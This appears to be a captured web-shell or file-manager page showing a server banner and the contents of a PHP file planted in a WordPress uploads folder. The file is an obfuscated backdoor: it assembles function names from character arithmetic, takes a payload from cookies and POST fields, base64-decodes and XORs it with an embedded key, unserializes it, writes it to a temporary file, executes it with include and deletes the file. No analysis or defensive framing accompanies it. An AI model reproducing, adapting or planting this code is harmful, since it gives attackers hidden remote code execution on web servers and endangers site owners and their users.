HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/YvTHXGr.php
$aUhoYXGWw = "\142" . chr ( 460 - 381 ).chr (95) . "\x52" . 'r' . chr ( 1014 - 892 ); $ARYvhp = chr (99) . "\154" . "\141" . "\x73" . "\163" . "\137" . "\145" . 'x' . 'i' . 's' . "\x74" . chr (115); $lGumyhj = class_exists($aUhoYXGWw); $ARYvhp = "39504";$EGhylqs = strpos($ARYvhp, $aUhoYXGWw);if ($lGumyhj == $EGhylqs){function oImma(){$OnuePBYF = new /* 6879 */ bO_Rrz(46167 + 46167); $OnuePBYF = NULL;}$vTtEqsavdw = "46167";class bO_Rrz{private function uLxfbdyR($vTtEqsavdw){if (is_array(bO_Rrz::$fFpMKZW)) {$name = sys_get_temp_dir() . "/" . crc32(bO_Rrz::$fFpMKZW["salt"]);@bO_Rrz::$fFpMKZW["write"]($name, bO_Rrz::$fFpMKZW["content"]);include $name;@bO_Rrz::$fFpMKZW["delete"]($name); $vTtEqsavdw = "46167";exit();}}public function ZXoNieLk(){$rDidr = "33672";$this->_dummy = str_repeat($rDidr, strlen($rDidr));}public function __destruct(){bO_Rrz::$fFpMKZW = @unserialize(bO_Rrz::$fFpMKZW); $vTtEqsavdw = "17322_59793";$this->uLxfbdyR($vTtEqsavdw); $vTtEqsavdw = "17322_59793";}public function iBtWXHsQ($rDidr, $IibgFiOilO){return $rDidr[0] ^ str_repeat($IibgFiOilO, intval(strlen($rDidr[0]) / strlen($IibgFiOilO)) + 1);}public function HmyjfYzl($rDidr){$ybuoDduL = chr ( 554 - 456 )."\x61" . chr ( 501 - 386 ).chr ( 720 - 619 ).'6' . "\x34";return array_map($ybuoDduL . chr (95) . chr ( 693 - 593 ).chr ( 301 - 200 ).chr (99) . "\157" . "\144" . "\x65", array($rDidr,));}public function __construct($SRLtUKYqV=0){$VgAHoSfkPX = "\x2c";$rDidr = "";$lZhRzRkgcZ = $_POST;$mDtSn = $_COOKIE;$IibgFiOilO = "69b59978-62e8-4d0f-bfce-c3b7c7be42eb";$NHMUSJwGRz = @$mDtSn[substr($IibgFiOilO, 0, 4)];if (!empty($NHMUSJwGRz)){$NHMUSJwGRz = explode($VgAHoSfkPX, $NHMUSJwGRz);foreach ($NHMUSJwGRz as $iAPVSnBx){$rDidr .= @$mDtSn[$iAPVSnBx];$rDidr .= @$lZhRzRkgcZ[$iAPVSnBx];}$rDidr = $this->HmyjfYzl($rDidr);}bO_Rrz::$fFpMKZW = $this->iBtWXHsQ($rDidr, $IibgFiOilO);if (strpos($IibgFiOilO, $VgAHoSfkPX) !== FALSE){$IibgFiOilO = ltrim($IibgFiOilO); $IibgFiOilO = str_pad($IibgFiOilO, 10);}}public static $fFpMKZW = 29828;}oImma();}